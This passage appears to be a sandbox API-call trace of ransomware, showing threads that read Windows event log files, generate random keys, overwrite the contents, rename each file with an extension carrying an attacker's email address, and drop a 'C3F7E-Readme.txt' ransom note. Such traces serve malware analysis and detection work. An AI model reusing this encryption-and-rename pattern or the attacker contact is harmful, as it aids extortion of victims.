	[0076.517] wcscat (in: _Dest=0x2d707c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0076.517] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d707c0) returned 1
	[0076.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70940) returned 1

Thread:
	id = 124
	os_tid = 0x84

	[0073.968] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0073.971] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx", dwFileAttributes=0x20) returned 1
	[0073.971] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0073.971] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x7c8fe08 | out: lpFileSize=0x7c8fe08*=69632) returned 1
	[0073.971] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.971] ReadFile (in: hFile=0x80c, lpBuffer=0x7c8fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c8fd88, lpOverlapped=0x0 | out: lpBuffer=0x7c8fd8c*, lpNumberOfBytesRead=0x7c8fd88*=0x4, lpOverlapped=0x0) returned 1
	[0073.989] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0073.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0073.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0073.989] NtQuerySystemTime (in: CurrentTime=0x7c8fd68 | out: CurrentTime=0x7c8fd68*=132251868007296795) returned 0x0
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xfc8875b0
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x6b9a540d
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x82b87c75
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x547dfd65
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xfec3775b
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xbd8cf7cd
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xad421574
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xd122ff12
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xbd08770a
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x110e7e79
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xad68e9c9
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x649bbf32
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xfa32a065
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x87006174
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x3c1c00
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x698e972a
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xee2ecd5d
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xeb2df252
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xade57140
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x4065fcc3
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x494ca156
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xf40f8640
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xec8e97c9
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x874bf2a1
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x2360c9c5
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x2cd1ed41
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xa992990d
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xcddbf6a4
	[0073.989] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0xa4c224cc
	[0073.990] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x338f7cca
	[0073.990] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x285ec2d3
	[0073.990] RtlRandom (in: Seed=0x7c8fd74 | out: Seed=0x7c8fd74) returned 0x1ab38256
	[0073.998] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.998] ReadFile (in: hFile=0x80c, lpBuffer=0x2d98710, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7c8fd48, lpOverlapped=0x0 | out: lpBuffer=0x2d98710*, lpNumberOfBytesRead=0x7c8fd48*=0xc800, lpOverlapped=0x0) returned 1
	[0074.001] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0074.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0074.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0074.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2da4f18
	[0074.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0074.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0074.004] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0074.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0074.005] WriteFile (in: hFile=0x80c, lpBuffer=0x2da4f18*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7c8fd48, lpOverlapped=0x0 | out: lpBuffer=0x2da4f18*, lpNumberOfBytesWritten=0x7c8fd48*=0xc800, lpOverlapped=0x0) returned 1
	[0074.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2da4f18) returned 1
	[0074.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d98710) returned 1
	[0074.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x2d70740
	[0074.006] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.007] WriteFile (in: hFile=0x80c, lpBuffer=0x2d89670*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x7c8fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2d89670*, lpNumberOfBytesWritten=0x7c8fdc8*=0x117, lpOverlapped=0x0) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89670) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70640) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70740) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0074.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0074.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x2d62fc8
	[0074.009] wcscpy (in: _Dest=0x2d62fc8, _Source="C:\\Logs\\HardwareEvents.evtx" | out: _Dest="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx"
	[0074.009] wcscat (in: _Dest=0x2d62fc8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\HardwareEvents.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\HardwareEvents.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.009] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\HardwareEvents.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7c8fd80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\HardwareEvents.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2d5c998
	[0074.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c998) returned 1
	[0074.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ad60) returned 1
	[0074.010] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x7c8fd8c, FileInformation=0x7c8fd64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7c8fd8c, FileInformation=0x7c8fd64) returned 0x0
	[0074.010] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x7c8fd8c, FileInformation=0x7c8fd64, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62fc8) returned 1
	[0074.011] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.012] CloseHandle (hObject=0x80c) returned 1
	[0074.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d709c0
	[0074.013] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.013] wcscat (in: _Dest=0x2d709c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.013] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0xffffffff
	[0074.013] CreateFileW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x80c
	[0074.013] WriteFile (in: hFile=0x80c, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x7c8fd88, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x7c8fd88*=0x6f6, lpOverlapped=0x0) returned 1
	[0074.014] CloseHandle (hObject=0x80c) returned 1
	[0074.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0074.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70800) returned 1

Thread:
	id = 125
	os_tid = 0xdac

	[0073.988] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0074.000] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx", dwFileAttributes=0x20) returned 1
	[0074.005] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x810
	[0074.006] GetFileSizeEx (in: hFile=0x810, lpFileSize=0x7d0fbf4 | out: lpFileSize=0x7d0fbf4*=69632) returned 1
	[0074.006] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.006] ReadFile (in: hFile=0x810, lpBuffer=0x7d0fb78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7d0fb74, lpOverlapped=0x0 | out: lpBuffer=0x7d0fb78*, lpNumberOfBytesRead=0x7d0fb74*=0x4, lpOverlapped=0x0) returned 1
	[0074.012] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0074.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0074.015] NtQuerySystemTime (in: CurrentTime=0x7d0fb54 | out: CurrentTime=0x7d0fb54*=132251868007447288) returned 0x0
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x3bd285e6
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x7ea985a1
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x484fbaa
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xa3cbd685
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x706ae43b
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x1145ec4f
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xd7759172
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x5663c05f
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x83698d76
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x8c6fbf7e
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xd7cc6479
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xf23d1900
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x4898e00d
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xfe74b558
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x58850681
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x2575f775
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x892d165d
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x868574b7
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xad2b6605
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x9afa8c56
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x3818bcaf
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x97bd20f4
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x8f477a56
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x4d1259e8
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xc05f423f
	[0074.015] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x754d0d93
	[0074.016] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xbf269c72
	[0074.016] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0x43aacef4
	[0074.016] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xe2d54595
	[0074.017] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xc8a96f2d
	[0074.017] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xddb7b6d0
	[0074.017] RtlRandom (in: Seed=0x7d0fb60 | out: Seed=0x7d0fb60) returned 0xd8494e63
	[0074.025] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.025] ReadFile (in: hFile=0x810, lpBuffer=0x2d98710, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7d0fb34, lpOverlapped=0x0 | out: lpBuffer=0x2d98710*, lpNumberOfBytesRead=0x7d0fb34*=0xc800, lpOverlapped=0x0) returned 1
	[0074.026] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0074.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0074.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0074.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2da4f18
	[0074.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781670
	[0074.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0074.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0074.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0074.028] WriteFile (in: hFile=0x810, lpBuffer=0x2da4f18*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7d0fb34, lpOverlapped=0x0 | out: lpBuffer=0x2da4f18*, lpNumberOfBytesWritten=0x7d0fb34*=0xc800, lpOverlapped=0x0) returned 1
	[0076.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2da4f18) returned 1
	[0076.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d98710) returned 1
	[0076.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2d73738
	[0076.616] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.616] WriteFile (in: hFile=0x810, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x7d0fbb4, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x7d0fbb4*=0x11d, lpOverlapped=0x0) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73780) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781670) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0076.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0076.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b0c0
	[0076.620] wcscpy (in: _Dest=0x2d7b0c0, _Source="C:\\Logs\\Internet Explorer.evtx" | out: _Dest="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx"
	[0076.620] wcscat (in: _Dest=0x2d7b0c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Internet Explorer.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Internet Explorer.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.620] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Internet Explorer.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7d0fb6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Internet Explorer.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f268
	[0076.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78aa8) returned 1
	[0076.622] NtQueryInformationFile (in: FileHandle=0x810, IoStatusBlock=0x7d0fb78, FileInformation=0x7d0fb50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7d0fb78, FileInformation=0x7d0fb50) returned 0x0
	[0076.622] NtSetInformationFile (FileHandle=0x810, IoStatusBlock=0x7d0fb78, FileInformation=0x7d0fb50, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b0c0) returned 1
	[0076.623] FlushFileBuffers (hFile=0x810) returned 1
	[0076.624] CloseHandle (hObject=0x810) returned 1
	[0076.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d707c0
	[0076.625] wcscpy (in: _Dest=0x2d707c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0076.625] wcscat (in: _Dest=0x2d707c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0076.625] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d707c0) returned 1
	[0076.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73348) returned 1

Thread:
	id = 126
	os_tid = 0xac4

	[0074.030] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0074.030] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx", dwFileAttributes=0x20) returned 1
	[0074.030] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0074.030] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x7d8fdb4 | out: lpFileSize=0x7d8fdb4*=69632) returned 1
	[0074.030] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.030] ReadFile (in: hFile=0x80c, lpBuffer=0x7d8fd38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7d8fd34, lpOverlapped=0x0 | out: lpBuffer=0x7d8fd38*, lpNumberOfBytesRead=0x7d8fd34*=0x4, lpOverlapped=0x0) returned 1
	[0074.032] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0074.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0074.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.032] NtQuerySystemTime (in: CurrentTime=0x7d8fd14 | out: CurrentTime=0x7d8fd14*=132251868007759061) returned 0x0
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x3ee8fc91
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x98a8a83b
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x39530ae7
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xb03d02b3
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x5382e49a
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x79a33e8
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xb5f60441
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xa14d0b80
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xb62ab11c
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x9d18b2ff
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x9a7bcfd9
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x20a1056
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x599e1610
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xeaee7570
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x78a12a36
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xd7c2f595
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xb9453771
